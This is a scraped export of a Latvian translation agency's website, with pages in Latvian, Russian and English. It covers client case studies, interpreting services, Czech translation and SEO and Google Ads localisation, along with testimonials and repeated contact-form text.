gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Tulkošanas projekta piemērs. Nodrošinām profesionālus tulkojumus 110+ valodās. Saņemiet bezmaksas cenas aprēķinu: birojs@skrivanek.lv! - Published: 2019-02-15 - Modified: 2025-01-27 - URL: https://skrivanek.lv/gadijumu-izpete/kallfass/ - Translation Priorities: Optional Klients: Kallfass Projekts: tehniskās dokumentācijas un tirgvedības tekstu tulkojums Avotvaloda: vācu Mērķvalodas: norvēģu, igauņu, lietuviešu, somu, zviedru, čehu, ungāru, poļu, rumāņu, serbu, grieķu, franču, itāļu, portugāļu Apjoms: aptuveni 750 000 vārdu Uzņēmums Kallfass jau vairāk nekā 50 gadu veiksmīgi darbojas folijas iepakojuma tehnoloģiju nozarē. Tam ir pārstāvniecības un tirdzniecības partneri visā pasaulē. Kallfass izstrādātās iepakošanas iekārtas tiek tirgotas gandrīz visu nozaru klientiem. Sevišķi sarežģītu iekārtu izstrādē un ražošanā ir būtiski ievērot uzņēmumā pieņemto terminoloģiju, kas konsekventi un precīzi ir jāiztulko daudzās mērķvalodās. Arī šis izaicinājums bija Skrivanek projektu vadības un valodu speciālistu komandai pa spēkam, protams, tika izmantotas jaunāko datorizētās tulkošanas atmiņu priekšrocības, kas palīdzēja nodrošināt ne tikai konsekventu terminoloģiju, bet vienlaikus ietaupīja laiku un izmaksas klientam. Jau kopš 2009. gada kā uzticami darījumu partneri īstenojam ciešu un veiksmīgu sadarbību ar daudzsološu un kopīgu skatījumu nākotnē. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Veicam kvalitatīvus dažādu nozaru tekstu tulkojumus 110+ valodās. Nosūtiet mums pieprasījumu un saņemiet bezmaksas cenu aprēķinu 15 minūšu laikā! - Published: 2019-02-15 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/ - Translation Priorities: Optional Klients: Biomet Projekts: medicīnisku instrukciju tulkojums Avotvaloda: angļu Mērķvalodas: čehu, slovāku, poļu, slovēņu, ungāru, lietuviešu, latviešu, igauņu Apjoms: aptuveni 40 000 vārduVairāk Klients: Eiropas Komisija Projekts: tekstu tulkojumi informācijas tehnoloģiju, lauksaimniecības un jurisprudences jomā Avotvaloda: visas ES oficiālās valodas Mērķvalodas: čehu, slovāku, poļu, slovēņu, ungāru, lietuviešu, latviešu, igauņu, rumāņu, bulgāru Apjoms: aptuveni 100 000 lappušuVairāk Klients: GE Healthcare Projekts: medicīnisko ierīču instrukciju tulkojums un dokumentu grafiskā apstrāde Avotvaloda: angļu Mērķvalodas: čehu, bulgāru, horvātu, igauņu, ungāru, lietuviešu, latviešu, poļu, rumāņu, krievu, serbu, slovāku, slovēņu, turku Apjoms: aptuveni astoņi miljoni vārduVairāk Klients: Geutebrück Projekts: tehniskās dokumentācijas un tirgvedības tekstu tulkojums Avotvaloda: vācu Mērķvalodas: angļu, franču, itāļu, spāņu, krievu, turku, holandiešu, arābu, lietuviešu Apjoms: aptuveni trīs miljoni vārduVairāk Klients: Kallfass Projekts: tehniskās dokumentācijas un tirgvedības tekstu tulkojums Avotvaloda: vācu Mērķvalodas: norvēģu, igauņu, lietuviešu, somu, zviedru, čehu, ungāru, poļu, rumāņu, serbu, grieķu, franču, itāļu, portugāļu Apjoms: aptuveni 750 000 vārduVairāk NEPIECIEŠAMS TULKOJUMS VAI KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Nosūtīt pieprasījumu TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Услуги последовательного перевода с более чем 40 языков для различных рабочих и повседневных мероприятий. Местные и зарубежные переводчики. - Published: 2019-01-15 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional ЧТО ТАКОЕ ПОСЛЕДОВАТЕЛЬНЫЙ ПЕРЕВОД И ЧТО НУЖНО ЗНАТЬ О ДАННОМ ВИДЕ УСЛУГ? Это перевод после говорящего, когда переводчик слушает сказанное на одном языке и переводит услышанное на другой язык. Переводчик сидит вместе с участниками собрания, слушает речь и после этого, в основном на основании сделанных замечаний, переводит сказанное на другой язык. Различают два вида последовательного перевода – короткий и длинный. При коротком перевод осуществляется по предложениям (обычно по два-три), и он чаще всего практикуется во время деловых переговоров, кратковременных визитов, в музее и др. Однако на практике все чаще используется длинная речь (от 5–10 и вплоть до 20 минут), а именно перевод фрагментов. В современном мире последовательный перевод часто заменяется синхронным переводом. Однако он все еще используется на различных собраниях (например, технических собраниях, деловых обедах, в малых группах, на выездах). Хорошие профессиональные переводчики способны с большой точностью переводить даже длинные речи. ХОРОШИЙ РЕЗУЛЬТАТ ПОСЛЕДОВАТЕЛЬНОГО ПЕРЕВОДА: содержательное и точное переложение идеи/смысла на целевой язык; лояльный перевод, учитывающий содержание и тон речи; быстрое, беглое изложение в спокойном, расслабленном, стабильном потоке слов; недвусмысленный и элегантный перевод; при переводе сохраняется хороший контакт с говорящим и слушателем. СКОЛЬКО ПЕРЕВОДЧИКОВ НЕОБХОДИМО НА МЕРОПРИЯТИИ? КОЛИЧЕСТВО ИСПОЛЬЗУЕМЫХ ЯЗЫКОВ МИНИМАЛЬНОЕ КОЛИЧЕСТВО ПЕРЕВОДЧИКОВ* С двух языков на два языка 2 С трех языков на три языка 3 * В исключительных случаях с соблюдением принципов качества и охраны здоровья вместо двух переводчиков можно задействовать только одного или вместо трех – только двух. ЯЗЫКИ, НА КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ОБЕСПЕЧИВАЕМ ПОСЛЕДОВАТЕЛЬНЫЙ ПЕРЕВОД: латышский–английский–латышский; эстонский–английский–эстонский; литовский–английский–литовский; русский–английский–русский; шведский–латышский–шведский, испанский–латышский–испанский, итальянский–латышский–итальянский, русский–латышский–русский и др. НЕОБХОДИМ УСТНЫЙ ПЕРЕВОД ИЛИ СОВЕТ СПЕЦИАЛИСТА? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияКак узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Услуги синхронного перевода с более чем 40 языков на конференциях, совещаниях и мероприятиях. Аренда оборудования для синхронного перевода. - Published: 2019-01-15 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional СИНХРОННЫЙ ПЕРЕВОД – ЭТО ТАКОЙ ПЕРЕВОД, КОГДА РЕЧЬ ГОВОРЯЩЕГО ПЕРЕВОДИТСЯ ИЗ КАБИНЫ С ЗАДЕРЖКОЙ НА ПАРУ СЕКУНД. Синхронный перевод – сравнительно новый вид перевода, его история отсчитывается от Нюрнбергского процесса, состоявшегося после Второй мировой войны, хотя синхронный перевод практиковался и раньше. Нюрнбергский процесс переводился на четыре языка, и с тех пор сама процедура практически не изменилась (кабины, микрофоны, наушники, три переводчика). Синхронный перевод в своем роде неестественный, поскольку от переводчика требуется невероятная способность к концентрации, ведь человек, как правило, не может слушать и говорить одновременно. Поэтому такая работа требует привыкания и обучения. Чаще всего переводчики работают вместе с минимум одним или двумя коллегами в звуконепроницаемой кабине. Докладчик в конференц-зале говорит в микрофон, переводчик слышит сказанное в наушниках и почти одновременно наговаривает перевод в микрофон. Участники мероприятия, находясь в конференц-зале и выбирая необходимый канал, слышат перевод на выбранный язык. Возможны различные конфигурации языков или языковых режимов. На многоязычных конференциях сидящие в кабинах переводчики переводят только на родной язык или языковую пару. Поскольку перевод требует большой концентрации, переводчики в кабинах меняются раз в 10–30 минут. ХОРОШИЙ РЕЗУЛЬТАТ СИНХРОННОГО ПЕРЕВОДА: содержательно точное переложение идеи на целевой язык; лояльный перевод, учитывающий содержание и тон речи; спокойный, расслабленный, стабильный поток слов; отсутствие буквальных «переносов» слов; поддержание контакта с говорящим и слушателем; ему характерна спонтанность. В основе синхронного перевода лежат слушание, понимание, анализ и переформулировка.  ЯЗЫКИ, НА КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ОБЕСПЕЧИВАЕМ СИНХРОННЫЙ ПЕРЕВОД: латышский–английский–латышский; эстонский–английский–эстонский; литовский–английский–литовский; русский–английский–русский; шведский–латышский–шведский, испанский–латышский–испанский, итальянский–латышский–итальянский, русский–латышский–русский и др. НЕОБХОДИМ УСТНЫЙ ПЕРЕВОД ИЛИ СОВЕТ СПЕЦИАЛИСТА? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Профессиональный перевод – залог успеха и продуктивности конференции! Перевод и организация конференций. 25+ лет опыта. Свяжитесь с нами! - Published: 2019-01-15 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional Перевод конференций связан исключительно с устной коммуникацией: это естественный беглый перевод речи докладчика с одного языка на другой с одновременной адаптацией, а также передачей интонации и убеждений говорящего другому человеку. Международные конференции посещают люди разных культур, с разной лингвистической подготовкой и говорящие на разных языках. Задача переводчика – сделать возможным общение между людьми, переводя не каждое произнесенное ими слово, а высказанные идеи. СФЕРЫ, В КОТОРЫХ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕТСЯ ПЕРЕВОД КОНФЕРЕНЦИЙ: налоги и теневая экономика; политика ЕС и трансграничное сотрудничество; строительство; финансы и банковская деятельность; информационные технологии; юриспруденция; сельское хозяйство; медицина, фармацевтика, клинические исследования; недвижимая собственность; телекоммуникации и др. ПРЕДЛАГАЕМ СЛЕДУЮЩИЕ ВОЗМОЖНОСТИ: профессиональные синхронные переводчики с соответствующим знанием языков, работающие попеременно по 30 минут каждый; оборудование, т. е. кабины для перевода, наушники, передатчики и техническая поддержка; помощь и консультации на каждом этапе организации мероприятия: перевод, макетирование материалов конференций и приглашений (DTP), печать; установка оборудования для конференций; бронирование гостиниц и размещение гостей; питание, банкеты; экскурсии по городу и т. д. ; профессиональные консультации об организации конференций, симпозиумов, конгрессов и учебных курсов. ЯЗЫКИ, НА КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ОБЕСПЕЧИВАЕМ ПЕРЕВОД КОНФЕРЕНЦИЙ: латышский–английский; греческий–латышский; латышский–греческий; литовский–латышский; английский–латышский; эстонский–английский; английский–эстонский; литовский–английский; английский–литовский; русский–английский; английский–русский и др. НЕОБХОДИМ УСТНЫЙ ПЕРЕВОД ИЛИ СОВЕТ СПЕЦИАЛИСТА? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Оказываем услуги устного перевода на судебных заседаниях. Наши опытные переводчики хорошо ориентируются в юридической терминологии. - Published: 2019-01-15 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional Если вам необходима помощь переводчика во время судебного заседания, важно, чтобы он мог не только перевести сказанное всеми вовлеченными лицами, но и ориентировался в вопросах юриспруденции, терминологии и процессе судебного разбирательства. В команде Skrivanek Baltic есть переводчики, специализирующиеся на переводе судебных заседаний. Важно, чтобы перевод в суде обеспечивал профессионал, поскольку человек, не имеющий соответствующего образования и опыта, не сможет в полной мере понять процесс и используемую в нем терминологию. Расторжение межнациональных браков, взыскание ущерба, трудовые споры, невыполненные обязательства или имущественные вопросы – наши переводчики регулярно участвуют в таких судебных процессах, в каждом из которых необходимо владеть соответствующей терминологией. Юридическому языку присуща точность, и перевод в суде должен быть верным в каждом слове. ЯЗЫКИ, НА КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ОБЕСПЕЧИВАЕМ УСТНЫЙ ПЕРЕВОД СУДЕБНЫХ ЗАСЕДАНИЙ: латышский–английский–латышский; эстонский–латышский–эстонский; литовский–латышский–литовский; русский–английский–русский; шведский–латышский–шведский; испанский–латышский–испанский; русский–латышский–русский и др. НЕОБХОДИМ ПЕРЕВОД НА СУДЕБНОМ ЗАСЕДАНИИ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > General and specialised Czech language translations, interpreting services. Get a free quote within 15 minutes! - Published: 2018-11-23 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional CZECH TRANSLATIONS HOW MUCH DO TRANSLATIONS TO CZECH COST? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Czech is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Czech translation or any other combination of translation and related business services. Our Czech language services include: Czech Document Translation Czech Simultaneous Interpretation Czech Linguistic Validation Czech Consecutive Interpretation Czech Transcription Czech Typesetting and Graphics Czech Voiceovers and Subtitling Czech Staffing Solutions Czech Multicultural Marketing Czech Document Management Czech Deposition Services Czech Virtual Data Room Services Czech E-learning Support Looking for a language solution in Czech? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit FACTS ABOUT THE CZECH LANGUAGE Czech belongs to the Slavic languages of the Indo-European language family, and it has more than 11. 5 million speakers around the globe. It is the oldest of all Slavic languages. Czech is the official language of the Czech Republic, but it is also spoken in the USA, Austria, Canada, Slovakia, and Germany. Czech is also one of the 24 official languages of the European Union. 96% of the Czech Republic’s population speaks Czech. The Czech language has three main dialect groups: Czech, Hanakian, and Lach, which are further divided into subgroups. There are four dialects: Bohemian, Cieszyn Silesian (spoken in southern Poland and sometimes considered a Polish dialect with strong Czech influences), Moravian, and Silesian. The origins of Czech date back to around the 10th century when, just like other Slavic languages, it started to split off from the old Slavic parent language. Until the end of the 13th century, Czechs used the Latin alphabet without any modifications; however, to accommodate the growing volume of texts, they developed a writing system that allowed them to represent intrinsically Czech sounds with no equivalents in the Latin alphabet more accurately. It was introduced in the early 15th century. For several centuries both digraphs (pairs of letters representing the same sound) and letters with diacritical marks were used. Diacritical marks are still used in the Czech language today, while the only remaining digraph is ‘ch’. The literary Czech language developed during the 14th–16th centuries on the basis of the Middle Czech, or Prague, dialect, but it was during the 18th century that it flourished into what we know it for today. The first book in Czech was already printed in 1468, which is also the very first book in any of the Slavic languages. The first grammar book was published in 1533. After the suppression of the reformation movement in the 17th century, Latin re-established itself as the primary language in Czech writing. Books in Czech were destroyed, and the secretly published texts were rewritten as manuscripts. Due to historic reasons, the Czech Republic’s legislation regarding the use of language in the country is rather strict: both the official and mass media communication shall be in Czech only. Efficient Czech language learning programmes are offered to non-residents in all of the biggest cities for a symbolic fee. Only a few national universities and separate faculties (natural and technical sciences) offer studying in English. Literary Czech is very different from colloquial speech. The writing system is based on the Latin alphabet and consists of 42 graphemes, including letters with diacritical marks. Czech spelling is largely phonetic – each sound is represented by a certain letter. The alphabet includes: A, Á, B, C, Č, D, Ď, E, É, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Double consonants in the middle of words are pronounced short, for example, in ‘Anna’ . Some words are particularly difficult for foreigners to pronounce due to clusters of consonants. This language has an advanced system of declensions and conjugations, while word order in sentences is relatively free. Nouns have a gender, number and case. Gender is either neuter, feminine, or masculine. Number is either singular or plural. Nouns have seven cases: nominative, genitive, dative, accusative, vocative, locative, and instrumental. Some nouns are exclusively singular and some, plural, while other nouns (mostly body parts that come in pairs) still retain their old plural forms. The Czech language distinguishes between hard and soft nouns. Hard nouns are mostly the ones with stems ending in hard consonants, while soft nouns are the ones with stems ending in soft consonants. Masculine nouns are declined differently: they are divided into nouns that refer to living beings and nouns that refer to objects. Loan words are usually adapted, inflecting them according to Czech grammar rules. Adjectives have three comparative forms. Interestingly, the superlative form is also used to indicate a lower degree of a certain quality. The Czech language consistently stresses the first syllable of the word. Every odd syllable in multisyllabic words receives a secondary stress. There are some exceptions that are never stressed: short forms of personal pronouns and all forms of the auxiliary verb ‘to be’. Speakers of the Czech and Slovak languages have no trouble understanding each other as these two languages are very similar. Language code: ISO 639-1: cs OUR MOST POPULAR CZECH LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Czech; Czech to Latvian; Estonian to Czech; Czech to Estonian; Lithuanian to Czech; Czech to Lithuanian; Russian to Czech; Czech to Russian; Polish to Czech; Czech to Polish; Ukrainian to Czech; Czech to Ukrainian; English to Czech; Czech to English; Czech to Spanish; Spanish to Czech; German to Czech; Czech to German; Italian to Czech; Czech to Italian; French to Czech; Czech to French; Danish to Czech; Czech to Danish; Norwegian to Czech; Czech to Norwegian; Swedish to Czech; Czech to Swedish; Finnish to Czech; Czech to Finnish and others. OUR MOST POPULAR CZECH LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Czech; Czech to Latvian; Estonian to Czech; Czech to Estonian; Lithuanian to Czech; Czech to Lithuanian; Russian to Czech; Czech to Russian; Polish to Czech; Czech to Polish; Ukrainian to Czech; Czech to Ukrainian; English to Czech; Czech to English; Czech to Spanish; Spanish to Czech; German to Czech; Czech to German; Italian to Czech; Czech to Italian; French to Czech; Czech to French; Danish to Czech; Czech to Danish; Norwegian to Czech; Czech to Norwegian; Swedish to Czech; Czech to Swedish; Finnish to Czech; Czech to Finnish and others. --- > We will localise your website according to SEO principles and adapt it to GoogleAds so that all of your potential clients can easily find you! - Published: 2018-10-23 - Modified: 2025-07-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ - Translation Priorities: Optional Regardless of whether you work on the local or international market, it is important that every product or service you offer is noticed and recognised in the digital environment. You will gain the most success if you address your potential customers in their native language. The first step is localising and adapting your websites and advertisements to the local market and target audience. When localising websites, SEO principles play a significant role, affecting the respective website’s ranking in organic searches (the browser’s results that match the entered keyword), as does online advertising with Google Ads that will help you make sure that the right customers don’t miss out on your one-of-a-kind offers. GOOGLE ADS (ADWORDS) TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. THE MAIN GOOGLE ADS PRINCIPLES Our localisation specialists are trained in the translation of Google Ads advertising texts and know how to find out the popularity of different keywords in the target language. For instance, when offering IT products, knowing what the potential buyers might call them is crucial. Thus our specialists will adapt the keywords to make sure users see your advertisement, regardless of what they call the respective product. HOW CAN OUR SPECIALISTS CREATE A CUSTOM GOOGLE ADS ADVERTISEMENT FOR YOU? Translating Google Ads and localising advertisements is no easy feat, which is why they are tackled by localisation specialists who are native speakers of the target language. A good Google Ads advertisement has three traits: it fits within the character limit; it is short and concise; it is understandable to the customer. Google Ads advertisements are not simply translated – our specialists recreate them in the target language, preserving the core idea yet presenting it in a way that speaks to the local users. It is especially important when advertisements are used in markets with different culture and understanding of good manners, formalities and advertising style. SEO TRANSLATIONS Websites appear higher or lower in lists of search results depending on how well they match the user’s entered keywords and potential needs according to the browser’s mechanical mind. Skrivanek localisation specialists are well versed in SEO principles, so, when localising websites for use in local markets, they take into consideration how high the website will rank in search results. SEO PRINCIPLES A website that has been created and localised according to SEO principles, will appear higher in organic search results (a good ranking is usually within the first three pages of search results). When localising your website, our specialists keep the chosen keywords and the set goal in mind to make sure your website complies with the browser’s requirements and your target audience’s wishes. Websites that are in synch with SEO principles have several essential advantages: they appear higher in search results; they match users’ searches more accurately, reducing the likelihood of your website being closed just as soon as it was opened (indicating that it is being shown to the wrong target audience); improved user experience: higher probability that users will find exactly what they were looking for; higher return on investment. HOW DO OUR LOCALISATION SPECIALISTS CREATE THE BEST SEO TRANSLATIONS? Translating keywords requires accurate and meticulous work. But SEO translations have another significant aspect: understanding the competitiveness of certain keywords in the target language and being aware of similar keywords. Choosing the best keywords takes some research to find out which words (and how often) are used in the target language. This can be done both by your SEO specialist and by our professionals. More often than not, SEO translations come with a list of source language keywords, which are then matched with the best and most fitting keywords in the target language to preserve the original meaning whilst using popular and common words. HOW CAN WE HELP WITH YOUR SEO AND GOOGLE ADS TRANSLATIONS? In response to the changes in the market, SEO and Google Ads translations is one of the fastest-growing localisation fields. Skrivanek Baltic has more than 30 years of experience in the translation industry, and our team includes localisation specialists working in more than 110 language combinations. Our localisation specialists have the specific knowledge and experience needed for demanding SEO and Google Ads translations. FREQUENTLY ASKED QUESTIONS We provide great variety of language – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Although most of our translation requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. No, all translation orders are accepted and overseen by 